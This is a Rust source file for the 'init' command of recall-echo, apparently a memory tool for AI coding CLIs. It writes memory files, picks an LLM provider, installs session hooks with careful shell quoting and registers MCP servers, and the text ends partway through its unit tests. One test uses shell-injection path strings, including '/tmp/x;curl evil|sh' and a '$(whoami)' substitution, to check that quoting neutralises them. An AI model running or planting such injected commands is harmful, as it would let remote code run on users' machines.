use std::fs;
use std::io::{self, BufRead, Write as _};
use std::path::Path;
use crate::agent_cli::{self, AgentCli, McpReport, McpStatus};
use crate::config::{self, Config, LlmSection, Provider};
use crate::error::RecallError;
use crate::paths;
use crate::theme::{BAD, BOLD, DIM, GOOD, RESET, WARN};
use crate::transcript::Source;
const MEMORY_TEMPLATE: &str = "# Memory\n\n\
<!-- recall-echo: Curated memory. Distilled facts, preferences, patterns. -->\n\
<!-- Keep under 200 lines. Only write confirmed, stable information. -->\n";
const ARCHIVE_TEMPLATE: &str = "# Conversation Archive\n\n\
| # | Date | Session | Topics | Messages | Duration |\n\
|---|------|---------|--------|----------|----------|\n";
const MODEL_DOWNLOAD_SIZE: &str = "~127 MB";
enum Status {
Created,
Exists,
Error,
}
fn print_status(status: Status, msg: &str) {
match status {
Status::Created => eprintln!(" {GOOD}✓{RESET} {msg}"),
Status::Exists => eprintln!(" {WARN}~{RESET} {msg}"),
Status::Error => eprintln!(" {BAD}✗{RESET} {msg}"),
}
}
fn notice_legacy_conversations(entity_root: &Path, new_dir: &Path) {
let legacy = entity_root.join("conversations");
let legacy_count = fs::read_dir(&legacy).map(|d| d.count()).unwrap_or(0);
let new_count = fs::read_dir(new_dir).map(|d| d.count()).unwrap_or(0);
if legacy_count > 0 && new_count == 0 {
print_status(
Status::Exists,
&format!(
"{legacy_count} archives in the legacy location {} — memory now lives at {}. \
Move them across to keep them searchable:",
legacy.display(),
new_dir.display()
),
);
eprintln!(" mv {}/* {}/", legacy.display(), new_dir.display());
eprintln!(
" {DIM}(and review {}/ARCHIVE.md against the one in memory/){RESET}",
entity_root.display()
);
}
}
fn ensure_dir(path: &Path) {
if !path.exists() {
if let Err(e) = fs::create_dir_all(path) {
print_status(
Status::Error,
&format!("Failed to create {}: {e}", path.display()),
);
}
}
}
fn write_if_not_exists(path: &Path, content: &str, label: &str) {
if path.exists() {
print_status(
Status::Exists,
&format!("{label} already exists — preserved"),
);
} else {
match fs::write(path, content) {
Ok(()) => print_status(Status::Created, &format!("Created {label}")),
Err(e) => print_status(Status::Error, &format!("Failed to create {label}: {e}")),
}
}
}
fn select_provider(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
match detected {
[only] => {
print_status(
Status::Created,
&format!("found {only} — using it for extraction"),
);
Some(only.provider())
}
[] => {
eprintln!(
"\n {WARN}~{RESET} No agent CLI found. Extraction needs a model provider — \
{BOLD}ollama{RESET} is the free, local option."
);
prompt_any_provider(reader)
}
several => prompt_installed_cli(reader, several),
}
}
fn default_cli(detected: &[AgentCli]) -> AgentCli {
let running_under = agent_cli::current().filter(|cli| detected.contains(cli));
running_under
.or_else(|| {
detected
.contains(&AgentCli::ClaudeCode)
.then_some(AgentCli::ClaudeCode)
})
.or_else(|| detected.first().copied())
.unwrap_or(AgentCli::ClaudeCode)
}
fn prompt_installed_cli(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
let default = default_cli(detected);
if !atty_check() {
print_status(
Status::Created,
&format!(
"{} agent CLIs found — using {default} for extraction",
detected.len()
),
);
return Some(default.provider());
}
let default_index = detected.iter().position(|cli| *cli == default).unwrap_or(0) + 1;
eprintln!("\n{BOLD}Which CLI should recall-echo use to extract knowledge?{RESET}");
for (index, cli) in detected.iter().enumerate() {
let note = if *cli == default {
if agent_cli::current() == Some(*cli) {
"— you're running under it (default)"
} else {
"— (default)"
}
} else {
""
};
eprintln!(
" {BOLD}{}{RESET}) {:<12}{DIM}{note}{RESET}",
index + 1,
cli.label()
);
}
eprintln!(" {BOLD}o{RESET}) other {DIM}— Claude API, Ollama, or decide later{RESET}");
eprint!("\n Choice [{default_index}]: ");
io::stderr().flush().ok();
let mut input = String::new();
if reader.read_line(&mut input).is_err() {
return Some(default.provider());
}
let answer = input.trim().to_lowercase();
if answer.is_empty() {
return Some(default.provider());
}
if answer == "o" || answer == "other" {
return prompt_any_provider(reader);
}
if let Some(cli) = answer
.parse::<usize>()
.ok()
.and_then(|n| detected.get(n.wrapping_sub(1)))
{
return Some(cli.provider());
}
if let Some(cli) = detected.iter().find(|cli| cli.label() == answer) {
return Some(cli.provider());
}
eprintln!(" {WARN}~{RESET} Unknown choice, defaulting to {default}");
Some(default.provider())
}
fn prompt_any_provider(reader: &mut dyn BufRead) -> Option<Provider> {
if !atty_check() {
return Some(Provider::Anthropic);
}
eprintln!("\n{BOLD}LLM provider for entity extraction:{RESET}");
eprintln!(" {BOLD}1{RESET}) anthropic {DIM}— Claude API (default){RESET}");
eprintln!(" {BOLD}2{RESET}) ollama {DIM}— Local models via Ollama, free{RESET}");
eprintln!(
" {BOLD}3{RESET}) claude-code {DIM}— Spawns your `claude` CLI (subscription){RESET}"
);
eprintln!(
" {BOLD}4{RESET}) gemini {DIM}— Spawns your `gemini` CLI (subscription){RESET}"
);
eprintln!(" {BOLD}5{RESET}) grok {DIM}— Spawns your `grok` CLI (subscription){RESET}");
eprintln!(" {BOLD}6{RESET}) codex {DIM}— Spawns your `codex` CLI (subscription){RESET}");
eprintln!(
" {BOLD}7{RESET}) skip {DIM}— Configure later with `recall-echo config`{RESET}"
);
eprint!("\n Choice [1]: ");
io::stderr().flush().ok();
let mut input = String::new();
if reader.read_line(&mut input).is_err() {
return None;
}
match input.trim() {
"" | "1" | "anthropic" => Some(Provider::Anthropic),
"2" | "ollama" => Some(Provider::Openai),
"3" | "claude-code" => Some(Provider::ClaudeCode),
"4" | "gemini" => Some(Provider::Gemini),
"5" | "grok" => Some(Provider::Grok),
"6" | "codex" => Some(Provider::Codex),
"7" | "skip" => None,
_ => {
eprintln!(" {WARN}~{RESET} Unknown choice, defaulting to anthropic");
Some(Provider::Anthropic)
}
}
}
fn configure_llm(
reader: &mut dyn BufRead,
memory_dir: &Path,
detected: &[AgentCli],
) -> Option<Provider> {
if config::exists(memory_dir) {
print_status(
Status::Exists,
".recall-echo.toml already exists — preserved",
);
return Some(config::load(memory_dir).llm.provider);
}
let Some(provider) = select_provider(reader, detected) else {
print_status(
Status::Exists,
"Skipped LLM config — run `recall-echo config set provider <name>` later",
);
return None;
};
let cfg = Config {
llm: LlmSection {
provider: provider.clone(),
..LlmSection::default()
},
..Config::default()
};
match config::save(memory_dir, &cfg) {
Ok(()) => {
print_status(
Status::Created,
&format!(
"Created .recall-echo.toml (provider: {})",
label_of(&provider)
),
);
Some(provider)
}
Err(e) => {
print_status(Status::Error, &format!("Failed to write config: {e}"));
None
}
}
}
fn label_of(provider: &Provider) -> String {
match provider {
Provider::Openai => "ollama (openai-compat)".to_string(),
other => other.to_string(),
}
}
fn extraction_line(provider: &Provider) -> String {
match provider {
Provider::Anthropic => "anthropic (Claude API — set ANTHROPIC_API_KEY)".into(),
Provider::Openai => "ollama (local models — free)".into(),
Provider::Cli => "custom CLI (from `[llm.cli]`)".into(),
cli => format!("{cli} (your subscription — no API billing)"),
}
}
fn init_graph(runtime: &tokio::runtime::Runtime, memory_dir: &Path) {
let graph_dir = memory_dir.join("graph");
if graph_dir.exists() {
print_status(Status::Exists, "graph/ already exists — preserved");
return;
}
match runtime.block_on(crate::graph::GraphMemory::open(&graph_dir)) {
Ok(_) => print_status(Status::Created, "Created graph/ (SurrealDB)"),
Err(e) => print_status(Status::Error, &format!("Failed to init graph: {e}")),
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum WarmOutcome {
Ready,
Skipped(&'static str),
Failed(String),
}
fn warm_embedding_model(memory_dir: &Path, roots: &paths::ConfigRoots) -> WarmOutcome {
if paths::is_build_dir(roots.recall_bin()) {
return WarmOutcome::Skipped("running from a build directory");
}
if !roots.spawns_agents() {
return WarmOutcome::Skipped("sandboxed configuration roots");
}
let models_dir = memory_dir.join("graph").join("models");
if let Err(e) = fs::create_dir_all(&models_dir) {
return WarmOutcome::Failed(format!("could not create {}: {e}", models_dir.display()));
}
let cached = fs::read_dir(&models_dir).is_ok_and(|mut entries| entries.next().is_some());
if cached {
eprintln!(" {DIM}… loading the embedding model{RESET}");
} else {
eprintln!(
" {DIM}… downloading the embedding model ({MODEL_DOWNLOAD_SIZE}, once) — \
everything else is already set up, Ctrl-C is safe{RESET}"
);
}
match crate::graph::embed::FastEmbedder::new(&models_dir) {
Ok(_) => WarmOutcome::Ready,
Err(e) => WarmOutcome::Failed(e.to_string()),
}
}
fn configure_hooks(roots: &paths::ConfigRoots, entity_root: &Path) -> bool {
let Some(claude_dir) = roots.claude_dir() else {
return false;
};
if paths::is_build_dir(roots.recall_bin()) {
print_status(
Status::Exists,
"Skipped hook install — running from a build directory",
);
return false;
}
install_hooks(
&claude_dir.join("settings.json"),
entity_root,
roots.recall_bin(),
)
}
fn install_hooks(settings_path: &Path, entity_root: &Path, recall_bin: &str) -> bool {
let mut settings: serde_json::Value = if settings_path.exists() {
let content = match fs::read_to_string(settings_path) {
Ok(c) => c,
Err(e) => {
print_status(
Status::Error,
&format!(
"Could not read {} ({e}) — hooks not configured",
settings_path.display()
),
);
return false;
}
};
match serde_json::from_str(&content) {
Ok(v) => v,
Err(e) => {
print_status(
Status::Error,
&format!(
"{} is not valid JSON ({e}) — refusing to overwrite it; \
fix the file and re-run init",
settings_path.display()
),
);
return false;
}
}
} else {
serde_json::json!({})
};
let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
if root.display().to_string().chars().any(char::is_control) {
print_status(
Status::Error,
"Entity root contains control characters — refusing to write it into a shell hook",
);
return false;
}
if recall_bin.ends_with(" (deleted)") {
print_status(
Status::Error,
"The running binary was replaced on disk during init — re-run init",
);
return false;
}
if !is_shell_safe_bin(recall_bin) {
print_status(
Status::Error,
&format!(
"Refusing to write hooks: binary path {recall_bin} contains characters unsafe \
in a shell command — install recall-echo at a plain path and re-run init"
),
);
return false;
}
let mut notes: Vec<String> = Vec::new();
let changed = match upsert_recall_hooks(&mut settings, recall_bin, &root, &mut notes) {
Ok(changed) => changed,
Err(why) => {
print_status(
Status::Error,
&format!("settings.json: {why} — hooks not configured"),
);
return false;
}
};
for note in ¬es {
print_status(Status::Exists, note);
}
if changed {
match serde_json::to_string_pretty(&settings) {
Ok(content) => match write_settings_atomically(settings_path, &content) {
Ok(()) => {
print_status(
Status::Created,
"Configured SessionStart + SessionEnd + PreCompact hooks in settings.json",
);
return true;
}
Err(e) => print_status(
Status::Error,
&format!("Failed to write settings.json: {e}"),
),
},
Err(e) => print_status(Status::Error, &format!("Failed to serialize settings: {e}")),
}
} else {
print_status(Status::Exists, "Hooks already configured in settings.json");
return true;
}
false
}
fn write_settings_atomically(path: &Path, content: &str) -> std::io::Result<()> {
if path.exists() {
let _ = fs::copy(path, path.with_extension("json.bak"));
}
let tmp = path.with_extension(format!("json.tmp.{}", std::process::id()));
let _ = fs::remove_file(&tmp);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
let mut f = fs::OpenOptions::new()
.write(true)
.create_new(true)
.mode(0o600)
.open(&tmp)?;
f.write_all(content.as_bytes())?;
f.sync_all()?;
}
#[cfg(not(unix))]
fs::write(&tmp, content)?;
if let Ok(meta) = fs::metadata(path) {
let _ = fs::set_permissions(&tmp, meta.permissions());
}
fs::rename(&tmp, path)
}
fn shell_path(path: &Path) -> String {
format!("'{}'", path.display().to_string().replace('\'', r"'\''"))
}
fn is_shell_safe_bin(path: &str) -> bool {
!path.is_empty()
&& path
.chars()
.all(|c| c.is_ascii_alphanumeric() || "/._+-".contains(c))
}
const SHELL_OPERATORS: [&str; 8] = [";", "&", "|", ">", "<", "$", "`", "\n"];
fn strip_single_quoted(cmd: &str) -> String {
let mut out = String::new();
let mut in_quote = false;
for c in cmd.chars() {
match c {
'\'' => in_quote = !in_quote,
_ if in_quote => {}
_ => out.push(c),
}
}
out
}
fn is_bare_recall_invocation(cmd: &str, subcommand: &str) -> bool {
if SHELL_OPERATORS
.iter()
.any(|op| strip_single_quoted(cmd).contains(op))
{
return false;
}
let mut parts = cmd.split_whitespace();
let Some(first) = parts.next() else {
return false;
};
Path::new(first)
.file_name()
.is_some_and(|f| f == "recall-echo")
&& parts.next() == Some(subcommand)
}
fn upsert_recall_hooks(
settings: &mut serde_json::Value,
recall_bin: &str,
entity_root: &Path,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let root = shell_path(entity_root);
let plan: [(&str, Option<&str>, &str, String); 3] = [
(
"SessionStart",
Some("startup|resume"),
"consume",
format!("{recall_bin} consume {root}"),
),
(
"SessionEnd",
None,
"archive-session",
format!("{recall_bin} archive-session --entity-root {root}"),
),
(
"PreCompact",
None,
"checkpoint",
format!("{recall_bin} checkpoint --trigger precompact --entity-root {root}"),
),
];
let hooks = settings
.as_object_mut()
.and_then(|o| {
o.entry("hooks")
.or_insert_with(|| serde_json::json!({}))
.as_object_mut()
})
.ok_or_else(|| "settings.json root is not a JSON object".to_string())?;
let mut changed = false;
for (event, matcher, subcommand, expected) in plan {
if upsert_hook(hooks, event, matcher, subcommand, &expected, notes)? {
changed = true;
}
}
Ok(changed)
}
fn upsert_hook(
hooks: &mut serde_json::Map<String, serde_json::Value>,
event: &str,
matcher: Option<&str>,
subcommand: &str,
expected: &str,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let marker = format!("recall-echo {subcommand}");
let not_array = || format!("\"hooks\".\"{event}\" is not an array — fix it and re-run init");
let mut changed = false;
let mut found = false;
let mut have_canonical = false;
if let Some(value) = hooks.get_mut(event) {
let arr = value.as_array_mut().ok_or_else(not_array)?;
for group in arr.iter_mut() {
let Some(inner) = group.get_mut("hooks").and_then(|h| h.as_array_mut()) else {
continue;
};
let mut i = 0;
while i < inner.len() {
let Some(cmd) = inner[i]
.get("command")
.and_then(|c| c.as_str())
.map(String::from)
else {
i += 1;
continue;
};
if !cmd.contains(&marker) {
i += 1;
continue;
}
found = true;
let repairable = cmd == expected || is_bare_recall_invocation(&cmd, subcommand);
if repairable && have_canonical {
inner.remove(i);
notes.push(format!("{event}: removed a duplicate recall-echo hook"));
changed = true;
continue; }
if cmd == expected {
have_canonical = true;
} else if repairable {
inner[i]["command"] = serde_json::Value::String(expected.to_string());
notes.push(format!(
"{event}: updated recall-echo hook to carry the entity root"
));
have_canonical = true;
changed = true;
} else {
notes.push(format!(
"{event}: left a customized recall-echo hook unchanged: {cmd} — note it \
does not carry the entity root; the canonical command is: {expected}"
));
}
i += 1;
}
let all_ours = !inner.is_empty()
&& inner
.iter()
.all(|h| h.get("command").and_then(|c| c.as_str()) == Some(expected));
if all_ours {
if let Some(m) = matcher {
if group.get("matcher").and_then(|v| v.as_str()) != Some(m) {
group["matcher"] = serde_json::Value::String(m.to_string());
changed = true;
}
}
}
}
arr.retain(|group| {
group
.get("hooks")
.and_then(|h| h.as_array())
.is_none_or(|inner| !inner.is_empty())
});
}
if found {
return Ok(changed);
}
let arr = hooks
.entry(event)
.or_insert_with(|| serde_json::json!([]))
.as_array_mut()
.ok_or_else(not_array)?;
let mut group = serde_json::json!({
"hooks": [{"type": "command", "command": expected}]
});
if let Some(m) = matcher {
group["matcher"] = serde_json::Value::String(m.to_string());
}
arr.push(group);
Ok(true)
}
fn register_mcp_clients(
runtime: &tokio::runtime::Runtime,
detected: &[AgentCli],
entity_root: &Path,
roots: &paths::ConfigRoots,
) -> Vec<McpReport> {
if detected.is_empty() {
return Vec::new();
}
if !roots.spawns_agents() {
print_status(
Status::Exists,
"Skipped MCP registration — sandboxed configuration roots",
);
return Vec::new();
}
let exe = roots.recall_bin().to_string();
if paths::is_build_dir(&exe) {
print_status(
Status::Exists,
"Skipped MCP registration — running from a build directory",
);
return Vec::new();
}
let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
let reports: Vec<McpReport> = runtime.block_on(async {
let mut reports = Vec::with_capacity(detected.len());
for cli in detected {
reports.push(agent_cli::register_mcp(*cli, &exe, &root, roots).await);
}
reports
});
for report in &reports {
match &report.status {
McpStatus::Registered => print_status(
Status::Created,
&format!("Registered MCP server with {}", report.cli),
),
McpStatus::AlreadyRegistered => print_status(
Status::Exists,
&format!("MCP server already registered with {}", report.cli),
),
McpStatus::Failed(detail) => {
print_status(
Status::Error,
&format!("Could not register MCP with {}: {detail}", report.cli),
);
eprintln!(" {DIM}run it yourself: {}{RESET}", report.command);
}
}
}
reports
}
struct Summary {
memory_dir: std::path::PathBuf,
provider: Option<Provider>,
capture: Vec<Source>,
mcp: Vec<McpReport>,
embedder: WarmOutcome,
}
impl Summary {
fn mcp_ready(&self) -> Vec<&'static str> {
self.mcp
.iter()
.filter(|report| !matches!(report.status, McpStatus::Failed(_)))
.map(|report| report.cli.label())
.collect()
}
}
fn print_summary(summary: &Summary) {
eprintln!("\n{BOLD}Setup complete.{RESET}\n");
print_status(
Status::Created,
&format!("memory initialised at {}", summary.memory_dir.display()),
);
match &summary.provider {
Some(provider) => print_status(
Status::Created,
&format!("extraction: {}", extraction_line(provider)),
),
None => print_status(
Status::Exists,
"extraction: not configured — `recall-echo config set provider <name>`",
),
}
if summary.capture.is_empty() {
print_status(
Status::Exists,
"capture: no agent CLI has recorded sessions here yet",
);
} else {
let names: Vec<&str> = summary.capture.iter().map(Source::as_str).collect();
print_status(Status::Created, &format!("capture: {}", names.join(", ")));
}
let ready = summary.mcp_ready();
if !ready.is_empty() {
print_status(
Status::Created,
&format!("MCP registered: {}", ready.join(", ")),
);
}
match &summary.embedder {
WarmOutcome::Ready => print_status(Status::Created, "embedding model ready"),
WarmOutcome::Skipped(reason) => print_status(
Status::Exists,
&format!("embedding model not warmed ({reason}) — downloads on first use"),
),
WarmOutcome::Failed(detail) => print_status(
Status::Exists,
&format!("embedding model not downloaded ({detail}) — retries on first use"),
),
}
eprintln!("\n {BOLD}Your next session will be remembered.{RESET}\n");
eprintln!(" {DIM}recall-echo status — is it healthy, what has it got{RESET}");
eprintln!(" {DIM}recall-echo config show — what it decided{RESET}");
eprintln!();
}
fn atty_check() -> bool {
use std::io::IsTerminal;
std::io::stderr().is_terminal()
}
pub fn run(entity_root: &Path) -> Result<(), RecallError> {
let stdin = io::stdin();
let mut reader = stdin.lock();
run_with_reader(entity_root, &mut reader)
}
pub fn run_with_reader(entity_root: &Path, reader: &mut dyn BufRead) -> Result<(), RecallError> {
run_with(entity_root, reader, &paths::ConfigRoots::from_env())
}
pub fn run_with(
entity_root: &Path,
reader: &mut dyn BufRead,
roots: &paths::ConfigRoots,
) -> Result<(), RecallError> {
if !entity_root.exists() {
return Err(RecallError::NotInitialized(format!(
"Directory not found: {}\n Create the directory first, or run from a valid path.",
entity_root.display()
)));
}
eprintln!("\n{BOLD}recall-echo{RESET} — initializing memory system\n");
let memory_dir = entity_root.join("memory");
let conversations_dir = memory_dir.join("conversations");
ensure_dir(&memory_dir);
ensure_dir(&conversations_dir);
notice_legacy_conversations(entity_root, &conversations_dir);
match roots.persist_entity_root(entity_root) {
Ok(paths::PersistOutcome::Written(file)) => print_status(
Status::Created,
&format!("Entity root persisted to {}", file.display()),
),
Ok(paths::PersistOutcome::Skipped(why)) => print_status(
Status::Exists,
&format!("Skipped persisting the entity root — {why}"),
),
Err(e) => print_status(
Status::Error,
&format!("Could not persist entity root: {e}"),
),
}
write_if_not_exists(&memory_dir.join("MEMORY.md"), MEMORY_TEMPLATE, "MEMORY.md");
write_if_not_exists(&memory_dir.join("EPHEMERAL.md"), "", "EPHEMERAL.md");
write_if_not_exists(
&memory_dir.join("ARCHIVE.md"),
ARCHIVE_TEMPLATE,
"ARCHIVE.md",
);
let runtime = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
let runtime = match runtime {
Ok(runtime) => Some(runtime),
Err(e) => {
print_status(Status::Error, &format!("Failed to start runtime: {e}"));
None
}
};
if let Some(runtime) = &runtime {
init_graph(runtime, &memory_dir);
}
let detected = agent_cli::installed();
let provider = configure_llm(reader, &memory_dir, &detected);
configure_hooks(roots, entity_root);
let mcp = match &runtime {
Some(runtime) => register_mcp_clients(runtime, &detected, entity_root, roots),
None => Vec::new(),
};
let embedder = warm_embedding_model(&memory_dir, roots);
print_summary(&Summary {
memory_dir,
provider,
capture: agent_cli::capturing(),
mcp,
embedder,
});
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Cursor;
use std::path::PathBuf;
use std::time::SystemTime;
struct Sandbox {
dir: tempfile::TempDir,
roots: paths::ConfigRoots,
}
impl Sandbox {
fn new() -> Self {
let dir = tempfile::tempdir().unwrap();
let entity = dir.path().join("entity");
fs::create_dir_all(&entity).unwrap();
let roots = paths::ConfigRoots::sandboxed(dir.path()).unwrap();
Self { dir, roots }
}
fn entity_root(&self) -> PathBuf {
self.dir.path().join("entity")
}
fn init(&self, input: &str) -> Result<(), RecallError> {
let mut reader = Cursor::new(input.as_bytes());
run_with(&self.entity_root(), &mut reader, &self.roots)
}
}
#[test]
fn init_creates_directories_and_files() {
let sandbox = Sandbox::new();
sandbox.init("skip\n").unwrap();
let root = sandbox.entity_root();
assert!(root.join("memory/MEMORY.md").exists());
assert!(root.join("memory/EPHEMERAL.md").exists());
assert!(root.join("memory/ARCHIVE.md").exists());
assert!(root.join("memory/conversations").exists());
}
#[test]
fn init_persists_the_entity_root_inside_the_sandbox() {
let sandbox = Sandbox::new();
sandbox.init("skip\n").unwrap();
let persisted = sandbox.roots.entity_root_file().expect("a destination");
let pinned = fs::read_to_string(persisted).expect("persisted inside the sandbox");
assert_eq!(
pinned.trim(),
fs::canonicalize(sandbox.entity_root())
.unwrap()
.to_string_lossy()
);
}
#[test]
fn init_is_idempotent() {
let sandbox = Sandbox::new();
let root = sandbox.entity_root();
sandbox.init("skip\n").unwrap();
fs::write(root.join("memory/MEMORY.md"), "custom content").unwrap();
sandbox.init("skip\n").unwrap();
let content = fs::read_to_string(root.join("memory/MEMORY.md")).unwrap();
assert_eq!(content, "custom content");
}
#[test]
fn a_second_init_preserves_the_configured_provider() {
let tmp = tempfile::tempdir().unwrap();
let root = tmp.path().to_path_buf();
let memory_dir = root.join("memory");
fs::create_dir_all(&memory_dir).unwrap();
let chosen = configure_llm(
&mut Cursor::new(b"" as &[u8]),
&memory_dir,
&[AgentCli::Grok],
);
assert_eq!(chosen, Some(Provider::Grok));
let again = configure_llm(
&mut Cursor::new(b"" as &[u8]),
&memory_dir,
&[AgentCli::ClaudeCode, AgentCli::Codex],
);
assert_eq!(again, Some(Provider::Grok));
}
#[test]
fn init_fails_if_root_missing() {
let sandbox = Sandbox::new();
let mut reader = Cursor::new(b"" as &[u8]);
let result = run_with(Path::new("/nonexistent/path"), &mut reader, &sandbox.roots);
assert!(result.is_err());
}
#[test]
fn a_single_installed_cli_is_chosen_without_asking() {
let mut reader = Cursor::new(b"" as &[u8]);
assert_eq!(
select_provider(&mut reader, &[AgentCli::Codex]),
Some(Provider::Codex)
);
assert_eq!(reader.position(), 0, "nothing should have been read");
}
#[test]
fn several_installed_clis_default_without_blocking() {
let mut reader = Cursor::new(b"" as &[u8]);
let chosen = select_provider(&mut reader, &[AgentCli::Grok, AgentCli::Codex]);
assert_eq!(chosen, Some(Provider::Grok));
}
#[test]
fn the_default_prefers_claude_code_over_install_order() {
assert_eq!(
default_cli(&[AgentCli::Codex, AgentCli::ClaudeCode]),
AgentCli::ClaudeCode
);
assert_eq!(
default_cli(&[AgentCli::Gemini, AgentCli::Grok]),
AgentCli::Gemini
);
assert_eq!(default_cli(&[]), AgentCli::ClaudeCode);
}
#[test]
fn no_installed_cli_falls_back_to_the_full_menu() {
let mut reader = Cursor::new(b"" as &[u8]);
assert_eq!(select_provider(&mut reader, &[]), Some(Provider::Anthropic));
}
#[test]
fn the_summary_names_the_cost_of_each_provider() {
assert!(extraction_line(&Provider::Grok).contains("no API billing"));
assert!(extraction_line(&Provider::Anthropic).contains("ANTHROPIC_API_KEY"));
assert!(extraction_line(&Provider::Openai).contains("free"));
}
#[test]
fn the_summary_lists_only_the_clients_that_registered() {
let summary = Summary {
memory_dir: std::path::PathBuf::from("/tmp/memory"),
provider: Some(Provider::Grok),
capture: vec![Source::Grok],
mcp: vec![
McpReport {
cli: AgentCli::ClaudeCode,
status: McpStatus::Registered,
command: String::new(),
},
McpReport {
cli: AgentCli::Grok,
status: McpStatus::AlreadyRegistered,
command: String::new(),
},
McpReport {
cli: AgentCli::Gemini,
status: McpStatus::Failed("no".into()),
command: String::new(),
},
],
embedder: WarmOutcome::Ready,
};
assert_eq!(summary.mcp_ready(), ["claude-code", "grok"]);
}
fn upsert(settings: &mut serde_json::Value, root: &str) -> (bool, Vec<String>) {
let mut skipped = Vec::new();
let changed = upsert_recall_hooks(
settings,
"/usr/local/bin/recall-echo",
Path::new(root),
&mut skipped,
)
.unwrap();
(changed, skipped)
}
#[test]
fn hooks_carry_the_entity_root() {
let mut settings = serde_json::json!({});
let (changed, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(skipped.is_empty());
let text = settings.to_string();
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
assert!(text.contains("checkpoint --trigger precompact --entity-root '/home/d/.wiseferry'"));
assert!(text.contains("consume '/home/d/.wiseferry'"));
}
#[test]
fn a_legacy_bare_hook_is_rewritten_not_skipped() {
let mut settings = serde_json::json!({
"hooks": {
"SessionStart": [{
"matcher": "startup|resume",
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo consume"}]
}],
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]
}],
"PreCompact": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo checkpoint --trigger precompact"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert_eq!(notes.len(), 3, "{notes:?}");
assert!(notes.iter().all(|n| n.contains("updated")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
assert_eq!(text.matches("archive-session").count(), 1);
assert_eq!(text.matches("checkpoint").count(), 1);
assert_eq!(text.matches("consume").count(), 1);
}
#[test]
fn a_correct_hook_set_is_left_unchanged() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
let before = settings.clone();
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
assert_eq!(settings, before);
}
#[test]
fn foreign_hooks_are_never_touched() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "notify-send done"}]
}]
}
});
upsert(&mut settings, "/home/d/.wiseferry");
let text = settings.to_string();
assert!(text.contains("notify-send done"));
assert!(text.contains("archive-session --entity-root '/home/d/.wiseferry'"));
}
#[test]
fn a_wrapped_recall_hook_is_reported_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session || true"}]
}]
}
});
let (_, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert_eq!(skipped.len(), 1);
assert!(
skipped[0].contains("archive-session || true"),
"{skipped:?}"
);
let text = settings.to_string();
assert!(text.contains("archive-session || true"));
assert_eq!(text.matches("archive-session").count(), 1);
}
#[test]
fn a_root_with_shell_metacharacters_is_neutralized() {
for (root, quoted) in [
(
"/Users/d/My Files/.wiseferry",
"'/Users/d/My Files/.wiseferry'",
),
("/tmp/x;curl evil|sh", "'/tmp/x;curl evil|sh'"),
("/tmp/$(whoami)/`id`", "'/tmp/$(whoami)/`id`'"),
] {
let mut settings = serde_json::json!({});
upsert(&mut settings, root);
let text = settings.to_string();
assert!(
text.contains(&format!("--entity-root {quoted}")),
"{root}: {text}"
);
}
}
#[test]
fn an_embedded_single_quote_is_escaped() {
assert_eq!(
shell_path(Path::new("/home/d/o'brien")),
r"'/home/d/o'\''brien'"
);
}
#[test]
fn duplicate_stale_hooks_collapse_to_one() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [
{"hooks": [{"type": "command", "command": "/old/path/recall-echo archive-session"}]},
{"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]}
]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(
notes.iter().any(|n| n.contains("removed a duplicate")),
"{notes:?}"
);
let expected =
"/usr/local/bin/recall-echo archive-session --entity-root '/home/d/.wiseferry'";
let text = settings.to_string();
assert_eq!(text.matches(expected).count(), 1, "{text}");
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
}
#[test]
fn a_prefix_wrapped_hook_is_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "timeout 30 /usr/local/bin/recall-echo archive-session"}]
}]
}
});
let (_, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(notes.iter().any(|n| n.contains("unchanged")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("timeout 30 /usr/local/bin/recall-echo archive-session"));
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
}
#[test]
fn a_quoted_root_with_operators_stays_repairable() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session --entity-root '/tmp/a;b'"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed, "{notes:?}");
let text = settings.to_string();
assert!(
text.contains("--entity-root '/home/d/.wiseferry'"),
"{text}"
);
assert!(!text.contains("/tmp/a;b"), "{text}");
}
#[test]
fn hooks_are_skipped_when_claude_code_is_absent() {
let sandbox = Sandbox::new();
let roots = sandbox.roots.clone().without_claude_code();
assert!(!configure_hooks(&roots, &sandbox.entity_root()));
